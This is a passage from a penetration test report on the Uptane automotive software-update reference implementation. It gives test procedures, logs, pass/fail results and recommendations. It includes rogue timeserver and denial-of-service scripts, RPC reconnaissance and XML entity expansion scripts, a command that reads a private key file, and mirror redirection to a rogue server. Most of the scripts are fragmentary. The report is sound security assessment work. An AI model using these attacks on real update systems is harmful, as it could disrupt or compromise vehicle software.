was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
'file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/met
adata/timestamp.json'
Downloaded 554 bytes out of an upper limit of 16384 bytes.
[TRUNCATED…]
Downloading:
'file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/met
adata/snapshot.json'
Downloaded 594 bytes out of the expected 594 bytes.
Not decompressing
file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/meta
data/snapshot.json
Update failed from
file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/meta
data/snapshot.json.
BadHashError
Failed to update snapshot.json from all mirrors:
{'file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/me
tadata/snapshot.json':
B-51
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
BadHashError('951654e0508de1f4db44e15ee68792a3a56e7a0e3a4b9b01345ee4d6fc9e67df'
, 'ad7554d35684c6195a891df934d2de0f63bae41cb6c28dea210a3fd17bfdec90')}
Metadata for 'snapshot' cannot be updated.
The Secondary did not download metadata after experiencing a mix-and-match attack. However, it must
be noted that attempting to perform an update_cycle on the Secondary after a mix-and-match attack has
revealed a critical functionality error. The Secondary deletes its verified metadata file that was modified
during the mix-and-match attack (i.e., snapshot file in above example). This results in the Secondary
producing the following error when attempting to perform an update_cycle() with valid metadata:
(>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
'file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/met
adata/timestamp.json'
[TRUNCATED]
Downloading:
'file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/met
adata/snapshot.json'
Downloaded 594 bytes out of the expected 594 bytes.
Not decompressing
file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/meta
data/snapshot.json
The file's 'sha256' hash is correct:
'951654e0508de1f4db44e15ee68792a3a56e7a0e3a4b9b01345ee4d6fc9e67df'
Update failed from
file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/meta
data/snapshot.json.
UnknownRoleError
Failed to update snapshot.json from all mirrors:
{'file:////home/pi/workspace/uptane/temp_Secondary00Wb8/unverified/imagerepo/me
tadata/snapshot.json': UnknownRoleError('Role name does not exist: snapshot',)}
[TRUNCATED]
Upon examination of the file structure, the temporary Secondary’s imagerepo metadata directory no
longer contains a snapshot.json file. Although the Secondary is not susceptible to a mix-and-match attack,
this test has revealed a major functionality flaw, thereby, failing this test.
It should be noted that the Traceback output for this use case can be seen below:
B-52
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
B-53
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
def get_time_attestation_for_ecu(val1=False,val2=False,val3=False):
response = {'signed': {'time': '2018-02-27T18:48:29Z', 'nonces':
[1221555015]}, 'signatures':
[{'keyid':'79c796d7e87389d1ebad04edce49faef611d139ee41ea9fb1931732afbfaac2e',
'sig':'587c231b40bbd1af309d9fba6fa8c7396df4c0f23191808ecd48e6eecad023ce9d323e86
30e21b2df00c55c05baa0183982afae9c7038290f6c7b6ba43c40108',
'method':'ed25519'}]}
return response
server.register_function(get_time_attestation_for_ecu,
'get_time_attestation_for_ecu')
B-54
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.10 Endless Data
Tester Allen Cain
Result PASS
B-55
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python3 rollback_update.py
python3 -m http.server 30301
python3 -m http.server 30401
>>> dp.update_cycle()
[…TRUNCATED…]
[…TRUNCATED…]
The Director has instructed us to download a Timestamp that is older than the
currently trusted version. This instruction has been rejected.
Submitting the Primary's manifest to the Director.
Monitor the logs the Primary outputs, and verify the output looks similar to the following:
[…TRUNCATED…]
B-56
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
[…TRUNCATED…]
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
return response
timeserver.register_function(get_signed_time,
'get_signed_time')
try:
timeserver.serve_forever()
except KeyboardInterrupt:
print("\nKeyboard interrupt.")
sys.exit(0)
B-57
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.6 Client Storage Encryption
Tester Allen Cain
Result FAIL
B-58
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
ls -alh .
ls -alh director/111/targets/
ls -alh imagerepo/targets/
The update images in the running directory, director directory, and imagerepo directory all have global
read permissions. Additionally, all directories under investigation do not allow any user but the directory
owner to write to the directories.
Step 3: Modify Update Images on Server
Since the update images are able to be overwritten with our current user, overwrite the update images
in the following two directories:
director/111/targets/Secondary-v3.txt
imagerepo/targets/Secondary-v3.txt
Perform the following command on the Primary to attempt to download the malicious update:
dp.update_cycle()
Verify the Primary does not download the modified update image due to a bad hash error, as seen in
output below:
>>> dp.update_cycle()
[TRUNCATED…]
Downloading: 'http://192.168.1.100:30301/targets/Secondary-v3.txt'
Downloaded 9 bytes out of the expected 9 bytes.
Not decompressing http://192.168.1.100:30301/targets/Secondary-v3.txt
Update failed from http://192.168.1.100:30301/targets/Secondary-v3.txt.
BadHashError
Failed to update /Secondary-v3.txt from all mirrors:
{'http://192.168.1.100:30301/targets/Secondary-v3.txt':
BadHashError('931442fc7f7ba89bebad694a61eaaab848497297b9a88c38b010e5543cdcd9d0e
a26fbbc32b67a8cf1d87ca1304246bbf49ddf9397e138da7bc525fecc7ac402',
'4a1cb99235dfe1b41b4c91e3f805e4ee6c7d02773a2d38ceb84cdc11fac3b0bf22352ffa34a4b4
09feb991fe538ee88443c1e371777265b27faaf4009b7eb985')}
B-59
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Downloading: 'http://192.168.1.100:30401/111/targets/Secondary-v3.txt'
Downloaded 9 bytes out of the expected 9 bytes.
Not decompressing http://192.168.1.100:30401/111/targets/Secondary-v3.txt
Update failed from http://192.168.1.100:30401/111/targets/Secondary-v3.txt.
BadHashError
Failed to update /Secondary-v3.txt from all mirrors:
{'http://192.168.1.100:30401/111/targets/Secondary-v3.txt':
BadHashError('931442fc7f7ba89bebad694a61eaaab848497297b9a88c38b010e5543cdcd9d0e
a26fbbc32b67a8cf1d87ca1304246bbf49ddf9397e138da7bc525fecc7ac402',
'4a1cb99235dfe1b41b4c91e3f805e4ee6c7d02773a2d38ceb84cdc11fac3b0bf22352ffa34a4b4
09feb991fe538ee88443c1e371777265b27faaf4009b7eb985')}
[2018.02.19 21:34:22UTC] [Primary] INFO [Primary.py:Primary_update_cycle():625]
In downloading target 'Secondary-v3.txt', am unable to find a mirror providing
a trustworthy file. Checking the mirrors resulted in these errors: BadHashError
from http://192.168.1.100:30401/111/targets/Secondary-v3.txt; BadHashError from
http://192.168.1.100:30301/targets/Secondary-v3.txt;
No image was found that exactly matches the signed metadata from the
Director and Image Repositories. Not keeping untrustworthy files.
[TRUNCATED…]
ls -alh demo/keys
B-60
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Attempt to read the private key for the Director’s root role by performing the following command:
cat demo/keys/directorroot
The server is not using a temporary directory with security relevant information. However, the servers are
storing update images and their applicable metadata in directories with global read privileges.
Additionally, the cryptographic keys used during the update are stored in the filesystem, albeit in an
encrypted format, with global read privileges. However, since the source code is open-source it is a trivial
feat to decrypt the encrypted private keys. Due to these security issues, this test has failed.
Note, the testers understand the reference implementation is not a hardened production system.
However, the storage of keys in cleartext with global read privileges and without the use of a
physical/virtual trusted platform module (TPM) or Hardware Security Module (HSM), leaves the
implementation at risk for anyone implementing the code in production.
B-61
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.15 Rollback Update
Tester Allen Cain
Result PASS
B-62
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python3 rollback_update.py
python3 -m http.server 30301
python3 -m http.server 30401
dp.update_cycle()
Monitor the Primary’s response, and verify the output looks similar to the following:
>>> dp.update_cycle()
Submitting a request for a signed time to the Timeserver.
Time attestation validated. New time registered.
Now updating top-level metadata from the Director and Image Repositories
(timestamp, snapshot, root, targets)
[TRUNCATED…]
A correctly signed statement from the Director indicates that this vehicle has
updates to install:['/v3-update.txt', '/v1-update.txt', '/v2-update.txt']
Metadata for the following Targets has been validated by both the Director and
the Image repository. They will now be downloaded:['/v3-update.txt', '/v1-
update.txt', '/v2-update.txt']
Downloading: 'http://192.168.1.100:30301/targets/v3-update.txt'
Could not download URL: 'http://192.168.1.100:30301/targets/v3-update.txt'
HTTPError
Update failed from http://192.168.1.100:30301/targets/v3-update.txt.
B-63
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
HTTPError
Failed to update /v3-update.txt from all mirrors:
{'http://192.168.1.100:30301/targets/v3-update.txt': <HTTPError 404: 'File not
found'>}
Downloading: 'http://192.168.1.100:30401/111/targets/v3-update.txt'
Could not download URL: 'http://192.168.1.100:30401/111/targets/v3-update.txt'
HTTPError
Update failed from http://192.168.1.100:30401/111/targets/v3-update.txt.
HTTPError
Failed to update /v3-update.txt from all mirrors:
{'http://192.168.1.100:30401/111/targets/v3-update.txt': <HTTPError 404: 'File
not found'>}
[2018.02.20 20:22:59UTC] [Primary] INFO [Primary.py:Primary_update_cycle():625]
[…TRUNCATED…]
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
try:
timeserver.serve_forever()
except KeyboardInterrupt:
print("\nKeyboard interrupt.")
sys.exit(0)
partial_bundle_attack_director.py
B-64
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
try:
timeserver.serve_forever()
except KeyboardInterrupt:
print("\nKeyboard interrupt.")
sys.exit(0)
B-65
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.9 Key Revocation
Tester Allen Cain
Result FAIL
B-66
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Recommendations
SwRI recommends schema checking on Director targets metadata to be performed differently than
targets metadata received from the Image Repository. This is due to the fact that documentation states
the Director repository is not allowed to delegate permissions to update images, whereas, an Image
repository is allowed to delegate such permissions. The change would be minor, in that, the Secondary
would verify no delegations are present while validating metadata received from the Director repository.
B-67
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
{
"signatures": [
{
"keyid": "1d08cabb04831c3482df4e20bb648841530d060946e385bc1558fbc0f382d9d7",
"method": "ed25519",
"sig":
"814ff84a23f18121edebdfd20424e305a5b928d3217e370bd8ca6a2af494bd35e95db5ec25f7d0
06e6f51bbf0082d736134aaac1f1fa1db5d8f042c8286a4709"
}
],
"signed": {
"_type": "Targets",
"delegations": {
"keys": {
"131f3e5b5e34d5a1d7f2ff3e188675fbe22b8bc77a2e2910326f000774e7c46b": {
"keyid_hash_algorithms": [
"sha256",
"sha512"
],
"keytype": "ed25519",
"keyval": {
"public": "dc73d6325eff31bb9ec2f5b0710f876468cb85de3c8e882464cf80ad5c6b1555"
}
}
},
"roles": [
{
"backtrack": true,
"keyids": [
"131f3e5b5e34d5a1d7f2ff3e188675fbe22b8bc77a2e2910326f000774e7c46b"
],
"name": "tier1",
"paths": [
"/BCU1.0.txt"
],
"threshold": 1
}
]
},
"expires": "2018-06-02T00:48:05Z",
"targets": {
"/BCU1.0.txt": {
"custom": {
"ecu_serial": "ECU_SECONDARY_2"
},
B-68
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
"hashes": {
"sha256":
"fb0aa5699a4e7b68009fed6b094ecb00c3ad5670921be1b902b72a23cd4675b1",
"sha512":
"0b0bb00bccf7bdad519d0a0af2794c945bd51ebdbc79f9616f0e3903b32f4ce2d5b250ab1bc2d3
4194bacf720b4f0aed361ef8d59ac72b1bc19e3a223a5e87cd"
},
"length": 15
}
},
"version": 3
}
}
Considering the Uptane Secondary reference implementation is running on a Raspberry Pi 3, even adding
200 delegations should not have a large effect on the unit. Thus, performing an attack with a large number
of delegations to attempt to adversely affect the Secondary due to a lack of space on the full-verification
ECU, seems like a non-applicable test.
Step 4: Perform Update
Perform the following command on the Uptane Secondary to request new metadata:
ds.update_cycle()
Monitor the effects on the Secondary. The Secondary successfully downloaded and installed the
metadata, and asked the Primary for the update image.
Since the Secondary did not reject the metadata even though the director targets role was the only one
to assign a delegate for its metadata. This directly conflicts with the Uptane Implementation Specification
and Uptane Deployment Considerations document, and therefore, results in a failed test.
B-69
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result FAIL
B-70
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Recommendations
The Primary should implement similar controls that are present when downloading data from the Uptane
servers that prevents Primaries from being vulnerable to endless data updates. This requires the Primary
to request the length of the version report first. Then the Primary will compare the reported length to a
pre-determined maximum size for a version report. If the reported length is greater than the maximum
size, then the Primary can decide to either download the report up to the maximum size, or not download
the report at all since it is most likely malicious. Additionally, the Primary should exercise schema checking
on the various fields of the version report. Currently, it only performs schema checking on some fields,
but leaves it up to the server to perform full verification of the version report.
B-71
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Ctrl+C
python version_report_dos.py
Verify the request is being sent via Wireshark. Monitor the output of the Primary, and verify it crashes
before sending a response to the rogue Secondary.
Since the rogue Secondary successfully DOS’d the Primary by sending a large ECU version report (i.e.,
implying the Primary is not performing any length checks before downloading the data), this test failed.
B.16.5 Test Scripts
version_report_dos.py
import http.client
from six.moves import xmlrpc_client
request = ''
# Retrieve the data from a large text file to send in our request
malicious_data = open('endless_data.txt','r+b').read().strip(b'\n')
B-72
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
c1c9c44</string></value>\n</member>\n</struct></value>\n</member>\n<member>\n<n
ame>length</name>\n<value><int>37</int></value>\n</member>\n</struct></value>\n
</member>\n<member>\n<name>filepath</name>\n<value><string>/Secondary_firmware.
txt</string></value>\n</member>\n</struct></value>\n</member>\n<member>\n<name>
attacks_detected</name>\n<value><string></string></value>\n</member>\n<member>\
n<name>ecu_serial</name>\n<value><string>SECONDARY_ECU_1</string></value>\n</me
mber>\n<member>\n<name>timeserver_time</name>\n<value><string>2018-02-
21T15:57:01Z</string></value>\n</member>\n</struct></value>\n</member>\n<member
>\n<name>signatures</name>\n<value><array><data>\n<value><struct>\n<member>\n<n
ame>method</name>\n<value><string>ed25519</string></value>\n</member>\n<member>
\n<name>sig</name>\n<value><string>13b405d3f3e5bd43656d7467e583cc0b9b99f52ad4c9
a9cb7d3a55b1fa748e918b22f77f224751458bca457335ed9395057e917db4453bab9226717ce00
22503</string></value>\n</member>\n<member>\n<name>keyid</name>\n<value><string
>49309f114b857e4b29bfbff1c1c75df59f154fbc45539b2eb30c8a867843b2cb</string></val
ue>\n</member>\n</struct></value>\n</data></array></value>\n</member>\n</struct
></value>\n</param>\n</params>\n</methodCall>\n"
response = connection.getresponse()
print(response.status, response.reason)
print(response.read()
B-73
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.8 Uptane Client Registration
Tester Allen Cain
Result PASS
B-74
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
import demo.demo_Primary as dp
dp.clean_slate(vin=’111’,ecu_serial=’REPLACEMENT_PRIMARY’)
Monitor the request and response via Wireshark and verify it looks like the following:
<?xml version='1.0'?>
<methodCall>
<methodName>register_ecu_serial</methodName>
<params>
<param>
<value><string>2_PRIMARY</string></value>
</param>
<param>
<value><struct>
<member>
<name>keytype</name>
<value><string>ed25519</string></value>
</member>
<member>
<name>keyid</name>
<value><string>9a406d99e362e7c93e7acfe1e4d6585221315be817f350c026bbee84ada260da
</string></value>
</member>
<member>
<name>keyval</name>
<value><struct>
<member>
<name>public</name>
<value><string>a1293426fcf4ce6f38135eb72bf89fedfdcba1b732779683b951d71a0b9e89a2
</string></value>
</member>
</struct></value>
</member>
<member>
<name>keyid_hash_algorithms</name>
<value><array><data>
<value><string>sha256</string></value>
<value><string>sha512</string></value>
</data></array></value>
</member>
B-75
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
</struct></value>
</param>
<param>
<value><string>112</string></value>
</param>
<param>
<value><boolean>1</boolean></value>
</param>
</params>
</methodCall>
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.5.3
Date: Sat, 24 Feb 2018 15:52:52 GMT
Content-type: text/xml
Content-length: 350
<?xml version='1.0'?>
<methodResponse>
<fault>
<value><struct>
<member>
<name>faultString</name>
<value><string><class 'uptane.Spoofing'>:The given VIN, '112', is already
associated with a Primary ECU.</string></value>
</member>
<member>
<name>faultCode</name>
<value><int>1</int></value>
</member>
</struct></value>
</fault>
</methodResponse>
As seen above, the Uptane servers respond stating an error when registering a duplicate Primary for a
specific vehicle. However, attempting to perform an update_cycle() request from the Primary afterward,
shows that the Primary was able to successfully download metadata from the servers. This highlights an
inconsistency between the servers detecting a spoofed ECU registration yet still allowing the rogue
Primary to download metadata.
Analyzing the code reveals that if the Primary fails the register_self_with_director() then it assumes that
the Primary is already registered, but does not prevent the Primary from any future commands or
functionality.
This implies that there should not be any issues experienced when replacing a Primary ECU.
Step 3: Replace Secondary
Afterward attempt to replace a Secondary with a similar one on a different Primary. This simulates the
process of swapping ECU’s from decommissioned vehicles into a running vehicle. This is done by first
killing the process of the Secondary being replaced, and running the following commands on the
Secondary that will be the replacement:
ds._vin = 112
ds._Primary_port = 30702
ds.register_self_with_Primary()
ds.update_cycle()
B-76
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Monitor the output on the Secondary and verify it looks similar to the following:
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
[TRUNCATED]
Installed firmware received from Primary that was fully validated by the
Director and
Image Repo. Image: '1_Secondary.txt'
The contents of the newly-installed firmware with filename '/1_Secondary.txt'
are:
---------------------------------------------------------
v1 1_SECONDARY.txt
---------------------------------------------------------
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/pi/workspace/uptane/demo/demo_Secondary.py", line 519, in
update_cycle
submit_ecu_manifest_to_Primary()
File "/home/pi/workspace/uptane/demo/demo_Secondary.py", line 251, in
submit_ecu_manifest_to_Primary
signed_ecu_manifest)
File "/usr/lib/python3.5/xmlrpc/client.py", line 1092, in __call__
return self.__send(self.__name, args)
File "/usr/lib/python3.5/xmlrpc/client.py", line 1432, in __request
verbose=self.__verbose
File "/usr/lib/python3.5/xmlrpc/client.py", line 1134, in request
return self.single_request(host, handler, request_body, verbose)
File "/usr/lib/python3.5/xmlrpc/client.py", line 1150, in single_request
return self.parse_response(resp)
File "/usr/lib/python3.5/xmlrpc/client.py", line 1322, in parse_response
return u.close()
File "/usr/lib/python3.5/xmlrpc/client.py", line 655, in close
raise Fault(**self._stack[0])
xmlrpc.client.Fault: <Fault 1: "<class 'uptane.UnknownVehicle'>:Received an ECU
Manifest supposedly hailing from a different vehicle....">
>>>
Note, since an update was already pushed to the VIN for the associated Secondary, the newly registered
Secondary successfully downloaded and installed the update, even though it received errors throughout
the update process.
Although registering a duplicate Primary and Secondary produces error messages, it still allows for
functionality (i.e., downloading of images and metadata) from the servers without an issue. Since the
replacement of an ECU is possible through the reference implementation, this test passed.
B-77
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result FAIL
B-78
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
{
"repositories": {
"imagerepo": {
"mirrors": ["http://192.168.1.100:30301"]
},
"director": {
"mirrors": ["http://192.168.1.100:30401/<VIN>"]
}
},
"delegations": [
{
"paths": ["*"],
"repositories": ["imagerepo", "director"]
}
]
}
{
"repositories": {
"imagerepo": {
"mirrors": ["http://192.168.1.90:30301"]
},
"director": {
"mirrors": ["http://192.168.1.90:30401/<VIN>"]
}
},
"delegations": [
{
"paths": ["*"],
"repositories": ["imagerepo", "director"]
}
]
}
B-79
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Afterward restart the Primary and perform the following commands on the Primary:
dp.clean_slate()
dp.update_cycle()
Monitor the logs and traffic to verify the clean_slate() command is utilizing the ‘__init__.py’ file which
looks at the original IP (i.e., 192.168.1.100). Additionally, verify the update_cycle() command is looking
at our rogue server IP (i.e., 192.168.1.90) as seen below.
>>> dp.update_cycle()
Submitting a request for a signed time to the Timeserver.
Time attestation validated. New time registered.
Now updating top-level metadata from the Director and Image Repositories
(timestamp, snapshot, root, targets)
[TRUNCATED]
As seen above, the modification of the map file, expectedly, causes the Primary to change the mirrors it
looks at for updates. Although this is a reference implementation, the map file will need to be modified
when a change of ownership situation (i.e., fleet to consumer) arises. Thus, the documents and the
implementation need to take into account proper privileges on the map file.
B-80
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result INFO
B-81
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python rpc_get_vins.py
Verify a valid response from the director repository is received and appears like the output below.
GET / HTTP/1.1
Host: 192.168.1.100:30401
Accept-Encoding: identity
User-Agent: Python-urllib/3.5
Connection: close
Content-Length: 0
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.5.3
Date: Tue, 06 Feb 2018 14:59:14 GMT
Content-type: text/html; charset=utf-8
Content-Length: 437
Create an XML-RPC script that will initiate a connection with the Image Repository on port 30301 and send
a Get request to retrieve all update (see Test Scripts below). Launch the attack by running the following
command:
python rpc_get_targets.py
B-82
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Verify a valid response from the image repository is received and appears like the output below.
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.5.3
Date: Tue, 06 Feb 2018 15:31:17 GMT
Content-type: text/html; charset=utf-8
Content-Length: 813
Likewise, modify the previous XML-RPC script to retrieve the data from a specific update based on the
information obtained above (see Test Scripts below). Launch the attack by running the following
command:
python rpc_get_image.py
Verify a valid response from the director repository is received and appears like the output below.
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.5.3
B-83
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
import http.client
request = ''
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
rpc_get_targets.py
import http.client
request = ''
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
rpc_get_image.py
import http.client
request = ''
B-84
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
B-85
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) TEST.32 RPC Recon
Tester Allen Cain
Result FAIL
B-86
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
get_last_vehicle_manifest
get_last_ecu_manifest
python rpc_calls.py
Verify a valid response from the director repository is received, that appears like the output below.
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.5.3
Date: Wed, 31 Jan 2018 18:03:18 GMT
Content-type: text/xml
Content-length: 992
<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><struct>
<member>
<name>signatures</name>
<value><array><data>
<value><struct>
<member>
<name>keyid</name>
<value><string>9a406d99e362e7c93e7acfe1e4d6585221315be817f350c026bbee84ada260da
</string></value>
</member>
<member>
<name>method</name>
<value><string>ed25519</string></value>
</member>
B-87
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
<member>
<name>sig</name>
<value><string>f07c88e32e530d21ae8c77064238109424c2afe6f6a8fd15f18604be48372290
71bead1a32dfb77c96e3a41fbe21c56e48b16586fbef9b3d8b2fd4fc45011901</string></valu
e>
</member>
</struct></value>
</data></array></value>
</member>
<member>
<name>signed</name>
<value><struct>
<member>
<name>ecu_version_manifests</name>
<value><struct>
</struct></value>
</member>
<member>
<name>vin</name>
<value><string>democar</string></value>
</member>
<member>
<name>Primary_ecu_serial</name>
<value><string>INFOdemocar</string></value>
</member>
</struct></value>
</member>
</struct></value>
</param>
</params>
</methodResponse>
import http.client
request = ''
request = b"<?xml
version='1.0'?>\n<methodCall>\n<methodName>get_last_vehicle_manifest</methodNam
e>\n<params>\n<param>\n<value><string>democar</string></value>\n</param>\n</par
ams>\n</methodCall>\n"
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
B-88
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) TEST.32 – RPC Recon
Tester Allen Cain
Result FAIL
B-89
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Recommendations
Python has created an XML processing module to avoid common XML parsing attacks, called defusedxml 1.
Utilizing the defusedxml package will provide protection against DOS attacks and other vulnerabilities
present in several Python XML parsing modules. Although this is not an issue with the Uptane framework,
this is an issue with the reference implementation and highlights the vulnerability to an Uptane system
reliant upon vulnerable imported modules.
1
https://pypi.python.org/pypi/defusedxml/
B-90
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python xml_entity_expansion.py
Verify no valid response is received from the director repository and that the director repository has
become unresponsive.
B.21.5 Test Scripts
xml_entity_expansion.py
import http.client
request = ''
2
https://docs.python.org/3/library/xml.html#xml-vulnerabilities
B-91
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
